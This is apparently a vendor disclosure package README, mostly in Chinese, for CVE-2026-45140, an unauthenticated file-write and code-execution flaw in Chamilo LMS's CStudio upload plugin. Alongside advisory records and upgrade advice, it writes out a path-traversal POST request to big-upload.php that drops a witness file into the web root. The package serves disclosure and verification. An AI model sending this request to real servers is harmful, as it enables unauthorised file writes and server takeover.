abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-45140
Chamilo LMS 2.0.0 — chamilo
Chamilo LMS 是一个开源学习管理系统。在 2.0.1 之前，Chamilo LMS 允许未经身份验证的远程攻击者在服务器上执行任意代码。权威公告未指明受影响的端点、组件、输入或利用机制。此问题已在 2.0.1 版本中修复。
| CVE | CVE-2026-45140 · CVE.org |
| CWE | CWE-22, CWE-94, CWE-219, CWE-434 |
| CVSS | 严重：9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 产品 | Chamilo LMS |
| 受影响 | 所有版本 至 2.0.0（含） |
| 已修补 | 2.0.1 及更高版本 |
| 认证 | 无（见源码映射） |
| 许可证 | GNU Affero GPL v3.0 |
| 实验室 | 仅限 127.0.0.1 · 供应商/客户披露包，非扫描器 |
CStudio 上传是 PHP 文件 big-upload.php，而非 Symfony action=。HTTP 就是该插件路径。
POST/plugin/CStudio/editor/import-project/inc/big-upload.php?action=upload&key=../../../../public/poc-witness.txtPOST /plugin/CStudio/editor/import-project/inc/big-upload.php?action=upload&key=../../../../public/poc-witness.txt body=POCWitness45140BigUpload::setTempName(key) + uploadFile() fopen(cache/cstudio_upload/ + key)GET /poc-witness.txt → POCWitness45140GET /poc-witness.txt 的响应体包含 POCWitness45140。首页 HTML 或安装重定向不是文件写入的见证内容。
首先执行此操作： 将 Chamilo LMS 更新到 2.0.1 或更新版本。
升级后验证
CVE-2026-45140-Abraxas-Labs.py：映射的见证内容必须不出现。如果无法立即更新
仅针对 http://127.0.0.1:8088（或你绑定的回环地址）。不要将此脚本指向互联网。
python3 CVE-2026-45140-Abraxas-Labs.py
成功即响应体中出现上述见证内容。通用的 200 HTML 不是。
用于复现的回环栈。除非此文件夹中的 Dockerfile 从源码构建，否则使用官方镜像。
cd lab
docker compose up --force-recreate
如果 YAML 挂载了本地目录（来自版本表的插件 zip / 源码标签），请将存在漏洞的产品树绑定到 Compose 旁边。除 127.0.0.1 外不要发布任何内容。
# CVE-2026-45140 (structured records)
- input: `https://nvd.nist.gov/vuln/detail/CVE-2026-45140`
- CWE: CWE-22, CWE-94, CWE-219, CWE-434
- published: 2026-09-17T21:17:12.440
## NVD description
Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.
## MITRE description
Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.
## Affected
- chamilo chamilo-lms < 2.0.1 affected
- OSV:
## References (JSON sources only)
- https://github.com/chamilo/chamilo-lms/commit/4bdba1b9a8820bd70c0809317775d7f6eaa79844
- https://github.com/chamilo/chamilo-lms/releases/tag/v2.0.1
- https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-g4c3-4g96-6g4m
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45140.json
- https://nvd.nist.gov/vuln/detail/CVE-2026-45140
- https://github.com/advisories/GHSA-g4c3-4g96-6g4m
## GitHub advisory
Chamilo LMS CStudio upload flow allows unauthenticated remote code execution
### Impact
Ability to run arbitrary code on the server without authentication.
## OSV
Chamilo LMS CStudio upload flow allows unauthenticated remote code execution
Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.
本披露包依据 GNU Affero General Public License v3.0 许可。见 LICENSE。
本包仅供供应商、站点所有者及授权实验室使用。该脚本与 127.0.0.1 通信。将其用于你并不拥有的系统未获 Abraxas Labs 授权。不提供任何担保。